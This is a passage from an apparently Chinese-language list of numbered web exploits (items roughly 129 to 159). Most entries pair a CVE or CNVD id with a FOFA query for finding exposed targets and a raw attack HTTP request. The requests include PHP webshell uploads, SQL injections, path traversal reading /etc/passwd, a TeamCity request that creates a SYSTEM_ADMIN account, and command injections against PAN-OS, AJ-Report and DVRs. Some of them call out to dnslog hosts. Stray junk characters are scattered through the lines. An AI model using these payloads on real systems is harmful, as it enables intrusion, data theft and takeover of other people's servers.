4 k6 I, \# q, MAccept-Encoding: gzip, deflate
Connection: close


2 ]9 y& G) g% G5 ~' [# ^& C" g) u5 m第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
: s$ H3 J8 F" f+ mAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
4 g9 g) c; e1 J9 {) Z3 \/ M

130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
, |! C7 w3 G8 n$ _2 N  FPOST /admin/users/upavatar.html HTTP/1.1
8 h$ }. d2 ~2 q" ~5 i& T: v& XHost: 127.0.0.1
% w  L" A) X5 R- C3 E) B8 d) SAccept: application/json, text/javascript, */*; q=0.01
: ]! Y$ J2 L* _' b& y' S' @X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
" {$ j1 O& K% \; O  ~Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
7 b+ d, p# F; pConnection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
/ L" _7 k, d2 ^; VContent-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
" R  O2 v) N4 u" L------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
% E/ o  t9 d0 s! C& X% S" s后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
$ K4 D: E- G1 g: \9 ^4 i
5 P# H) m6 U7 d' P! l132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
3 w+ {9 o$ b: s% a/ R+ i2 @CVE-2024-27198
FOFA：body="Log in to TeamCity"
8 }% B  p7 T6 a$ z: _1 u% JPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
" d7 j7 ]+ I; @, i6 |) x  vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
9 S, A' N" Q: v# I) _% N8 aAccept: */*
6 k9 h3 K' W+ t& M7 k$ ~# t/ zContent-Type: application/json
3 z8 ]$ A2 z/ i: H7 Z5 g: EAccept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
0 A6 K, @; w) o8 ^

CVE-2024-27199
/res/../admin/diagnostic.jsp
% A: X4 {$ K2 k  f. p- \* k/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp

) |/ n1 }+ ]* b$ q: x0 B
CVE-2024-27198-RCE.py
5 z, R: W9 x0 ?" }3 J! }% i
1 L! R5 A' s2 \  O0 F- w9 a1 G: a133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
% `/ h- p8 W6 Y5 ~0 lHost: your-ip
- L+ L, [3 x5 F+ [4 c: T2 l( U% pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
# l7 `, I) z, {+ _
8 a4 ~# ?7 w% a5 P0 `; `" O# _0 [------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
) x$ x$ w8 W1 p6 `. G------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

" C9 a! [" h7 ~  ~2 j+ i

. s8 W2 W! p& ^( o134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
5 c$ x- l& t9 {. ]8 l/ i" c8 q# aFOFA：app="网康科技-NS-ASG安全网关"
& @& r0 `8 C( x) P: z2 vPOST /protocol/index.php HTTP/1.1
5 |8 m& b& N) N% j& r( rHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
9 N/ R; E( e" P8 ]( [Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
8 m- e9 i, H! P5 v2 E4 UConnection: close
Content-Type: application/x-www-form-urlencoded
0 Y% x( p1 d# c7 e5 HContent-Length: 263
- l; {" \  H% t1 N! ~  T. P. [
! j# F" j0 g6 E. E9 r1 u" @jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
4 {* i9 q7 e1 S) a8 x3 q6 q
  j. o0 K( A0 |9 D) j8 \
8 x* Y3 h- r3 l, W/ z% F135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
7 C9 l5 [  b( N" wCVE-2024-2022
1 V# q% `' V) @  l  JNetentsec NS-ASG Application Security Gateway 6.3版本
/ |1 u3 O, ^% u* tFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
: T: ?, i% `. y" BHost: x.x.x.x
+ ~6 |8 ^" j/ Y' OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
, ~) d. J9 j4 U& b8 U! \Accept-Language: zh-CN,zh;q=0.9
Connection: close
8 }) N) S# J% r$ W$ \# n. K
, [$ b: Z* Q3 x8 I
136. NextChat cors SSRF
CVE-2023-49785
2 c! R0 |, N% O8 J5 PFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
5 l, B9 p, n  y. ]$ S4 y5 fHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 _0 a9 N+ d* G3 _4 c" J. cConnection: close
7 s( z0 {/ \: VAccept: */*
Accept-Language: en
: N+ @& ?# ?" D. m5 VAccept-Encoding: gzip
. @9 }4 j; J1 m! {
2 r, W1 j1 W$ K; }! h- [6 E' z
137. 福建科立迅通信指挥调度平台down_file.php sql注入
! w7 s6 R( u$ [CVE-2024-2620
# u3 v) R4 d+ ]: ^! e9 VFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
% L) k4 u' H, n" {+ ?6 @- M4 ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
, @) e9 p; v, ?) pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 o* Z7 w- b. @+ _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; m2 n- L) g+ S. f6 EAccept-Encoding: gzip, deflate, br
9 ]% x+ r) T" q5 uConnection: close
' H/ p( C) c) x* K/ S  T- VCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


+ C1 C% F+ L" A+ `/ ^138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
+ W1 x2 b; T6 G, e) F1 e: C1 O  pFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
( S. N' I" L( C' N& n6 xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* M* ^% d( [3 Q# M; W9 |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1


5 w5 f1 v1 u7 W' B1 U, @% }139. 福建科立讯通信指挥调度平台editemedia.php sql注入
( M5 H0 H- K. G/ y) t: gCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
$ q$ Z" b8 B0 V! U) mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! {5 u8 H& |6 A+ b/ XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 D" E( e/ ]! s4 h2 c# L, q' pAccept-Encoding: gzip, deflate, br
& X5 U7 Q% U$ t5 D* M3 j3 ~Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
: S8 B8 y$ y7 X2 g. DUpgrade-Insecure-Requests: 1
0 C* W$ \7 Y% D, S4 |* `
3 F& G9 [- o: @# Q& p  J
- A6 X! k1 j1 I: g3 L4 r140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
, N  R7 Q9 o8 `! y2 DCVE-2024-2566
$ ~( c" c: {1 I$ H+ J1 y( EFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
0 u2 D' `  _# [; U  r1 R+ k0 ]GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 X; w$ l- N4 \3 H2 {/ nAccept-Encoding: gzip, deflate, br
# z( H. u- C# t* n& d" }8 TConnection: close
Cookie: authcode=h8g9
) t& A6 ]7 J$ Y* k" e+ P  N$ ^/ H, AUpgrade-Insecure-Requests: 1


5 o9 N/ [( K: I6 v; s( G% Y: J" ~141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
9 |' x* g2 N, @+ XFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
* e0 p, L& C% Q* eHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
( a# d/ _  i: i0 vContent-Type: application/x-www-form-urlencoded


dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
admin/admin
# x& @4 p/ o" r) R! I2 T5 d/ E1 Q143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
  S3 _6 W. J, p* v3 `FOFA：title='AP setup' && header='netis'
PAYLOAD
# s. F2 U0 }5 }9 C3 {) c
144. D-Link nas_sharing.cgi 命令注入
" d# V' m( Q3 m4 r- [' mFOFA：app="D_Link-DNS-ShareCenter"
2 A; S' j& @1 {/ v) jsystem参数用于传要执行的命令
6 ^5 |6 H9 K2 ]GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
% a; z3 r& _+ R  r; rHost: x.x.x.x
- F: S+ D( k$ F5 z% {& qUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
0 w  O+ \0 U: i) mAccept: */*
Accept-Language: en
Accept-Encoding: gzip
* |/ e- Q. O2 H% B3 ?

/ u6 Y: ^% u3 G145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
5 v1 ]* ^8 i2 C& U1 S1 o( w) WFOFA：icon_hash="-631559155"
9 k3 G7 z. a) a6 tGET /global-protect/login.esp HTTP/1.1
: i) T8 f2 J' K/ e* a& O2 Q; LHost: 192.168.30.112:1005
  R$ e" n/ U% |& dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
0 j0 i* A5 y9 [Accept-Encoding: gzip

1 Z; [) \) e+ m* N3 V% T- v( W
7 X# O4 g0 d/ l4 d: Z7 ~/ q+ @146. MajorDoMo thumb.php 未授权远程代码执行
" J' T4 E% @2 x) b2 vCNVD-2024-02175
7 y, \6 C1 c4 }% OFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
$ x& R5 N+ x1 z, l5 y3 T; z0 ?
, G! Q$ T2 ]8 ^5 e1 z- e; Y
4 P4 t& x; k: f- c" P9 z147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
% `3 k5 i& q0 FFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
9 t. i1 n: @5 g: c2 [- RHost: 127.0.0.1:81
Cache-Control: max-age=0
8 o) ?& r( ?3 sConnection: close


6 u% ~% W' q* k5 Y+ E9 o- |148. CrushFTP 认证绕过模板注入
+ ~& [+ i: H' T$ [& ]  cCVE-2024-4040
FOFA：body="CrushFTP"
6 X$ m* y. {& ~3 d5 n5 v7 wPAYLOAD
3 P2 ]0 n1 t+ h" }/ `; B2 V; E
149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"
* s8 `6 u/ ]+ N) o; `1 `! d2 x$ T' c
# Y0 ^6 m3 A  @! l' p  LPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ {1 I- A6 c" a* ]. }2 g- G0 ~. RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
* E' c2 ^( u! A$ B0 j" YConnection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

$ h9 L) |! t' J0 L8 S! _150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
. t/ Q' q( z' E0 j2 ?POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
5 m/ c+ L! R* ~  {: IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
) g3 C) M3 ~) I$ b9 f$ DAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
, `$ f6 f8 q9 ^: jContent-Length: 339
6 T# W/ }. j1 h; m, k' h# {7 N
: v) V5 X- x1 i' u: T" f% {% t{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
5 N, @4 Q- `4 i5 ^; R0 q  a' v5 O

151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
+ x) }' g( D, a. L, ?5 eGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
8 z. ~2 l7 G6 Q$ O5 ]9 i( {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' B( Y0 O8 `) _: TConnection: close
Accept-Encoding: gzip
" F7 q' W! Y! {& ]+ }9 h* J
& X. i! v9 X+ y$ J  j. U3 N
8 E4 `6 u! g- K" N5 G152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
- }) q4 R+ I8 S( u, m( S2 qLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
* G! V, s( ?) A6 _3 N9 NLoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
4 }5 k& r3 x+ f$ C6 XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
( n% k9 Y8 O) G& GConnection: close
Accept: */*
( i7 B: d3 i% m8 R' N2 J! L/ V# eAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
% W; B: E% X+ g+ v, sAccept-Encoding: gzip
5 x# j, E) I( b+ g5 s8 {

# b. L  L" Z$ L% i153. gradio任意文件读取
+ m7 n7 F3 V( q! r! j4 D: fCVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
2 N' L3 _. w' q. `- ?$ qhttp://x.x.x.x/config
3 a% r* }9 }7 {0 w0 _4 k* K1 Q

; c+ Z; u  u: Q( B2 @第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
/ O' j* \! S. q/ a  U1 C" P1 dConnection: close
Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

+ Y) a3 X! A3 w
7 j# G& b6 F5 Z* l7 ?第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
" M3 W$ p5 O- r5 Z& U+ ]. C- Z

154. 天维尔消防救援作战调度平台 SQL注入
4 I4 t( T' B6 @, p- X9 jCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
9 W$ s" B: v2 i3 a; t5 _Content-Length: 106
$ y5 @$ s6 K. S; oCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
7 D+ D' _- e' a; BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
/ A( O+ ]. b* X+ |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
# x3 A( m" ~$ C9 Q0 W* N( _. y% k2 \/ lAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

, `3 H: P- v0 s; J{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
6 `: B. J3 H( b7 S+ R' |# S7 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
- w& w& @( g% e  vConnection: close
Content-Length: 232
9 ]% \, \; b/ q) VAccept: application/json, text/javascript, */*; q=0.01
& L9 s. z7 x1 h7 B$ {Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: U8 t" b7 B3 m2 _- _Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest

/ B% O* o+ T2 M6 o6 S-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
3 [( @' s7 A7 [& r# m1 fContent-Type: image/png
) X& [* }# y/ W  ^/ f5 u
<?php phpinfo();unlink(__FILE__);?>
" [7 X" P2 R4 R-----------------------------qttl7vemrsold314zg0f--
) E, _5 }6 J0 E% ^" w

8 |1 x4 ?& W7 f4 l访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
; j; {# f# i6 m2 u
" U+ V- t" p0 y. y$ U4 b156. TBK DVR-4104/DVR-4216 操作系统命令注入
0 x' a, b: J+ vCVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
) I* J, O( A6 K& A; V·TBK DVR-4216
* X0 |) g. U; d* s, {* Zcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
$ j& P) c9 G$ @

# t# k2 f/ O# {. C5 e& B8 aPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
- \; t+ X8 [* ]7 nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 c4 c- s3 L& m) T( r) h4 xConnection: close
# z& E6 w( i. c) m9 i. p  d: sContent-Length: 0
; }6 r3 i$ h) d& KCookie: uid=1
: M. e5 B, `$ ^7 X# iAccept-Encoding: gzip


# N5 Y+ z7 G  ^7 ?  B4 F$ E/ x157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
6 P5 f. y1 J& K' C  L) X5 fFOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
1 |8 V* V' X' G9 V; P: qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
9 [" h7 c) i6 W& \3 h/ PContent-Length: 709
6 [6 z8 @2 e$ U0 E/ u- V) ~: ]2 C  YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& \" L, `6 z* J9 {Accept-Encoding: gzip, deflate
& q$ @6 y$ Z6 A/ C. gAccept-Language: zh-CN,zh;q=0.9
9 n* M3 P4 h6 @/ k5 MCache-Control: max-age=0
( {5 y* \+ |9 G) N3 hConnection: close
# R) A- O" ^* R- vContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
, c! B7 ~( e6 m( hUpgrade-Insecure-Requests: 1
% P# K0 N: G; j$ X* X  P
; v- x1 w% P9 |7 T) X% Q) Z7 V. u------WebKitFormBoundary1imovELzPsfzp5dN
/ ^# O7 ~8 _; ?! K0 jContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream
# J" l& J( ?' @5 V
! n3 Y* s- T' Knyhelxrutzwhrsvsrafb
. G* Z6 L8 L+ b4 M------WebKitFormBoundary1imovELzPsfzp5dN
3 c; ~6 v2 C: z5 Z6 \7 \$ oContent-Disposition: form-data; name="key"
2 P# {( y4 q8 z  s7 Z0 g) z
null
------WebKitFormBoundary1imovELzPsfzp5dN
6 J; z3 Y* {  CContent-Disposition: form-data; name="form"

null
------WebKitFormBoundary1imovELzPsfzp5dN
0 c! ?2 M( Q* yContent-Disposition: form-data; name="field"
# M$ q4 s0 B# v( y. L4 N. G" k
null
/ T* i7 E2 u& M8 Z" ~, e------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

6 i  S2 G. d+ E" R+ p, Lnull
------WebKitFormBoundary1imovELzPsfzp5dN
* r+ Q1 v4 n$ d  d6 D8 TContent-Disposition: form-data; name="filefolder"
' N' y! K; c  i/ w" J# _
null
2 @  t& \: C: p------WebKitFormBoundary1imovELzPsfzp5dN--
9 I7 c% ?; a3 r' m& ^2 e
$ v/ n' u* @5 |5 q: n' _, z5 \
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
8 m- S# o0 w- ], G! ~CVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
( I/ T) W, n0 @  M: H/ `5 H
object=displayregion&contenthistid=x\'&previewid=1
% w/ F4 Z5 `. ]% @; Z) R0 N. M
; i% Q) h2 ^9 L( y" T: f; Z
, G) `9 G  l0 O( k# V  l4 `159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
. V5 o, h1 |0 r) jContent-Length: 1080
Accept-Encoding: gzip, deflate
% ~" X4 N4 e1 p, qConnection: close
' M4 V* s4 K0 C. u% N6 WContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
5 B. Q. Z$ }  A! P<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
' Y8 v, y% q, u2 ^7 F<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
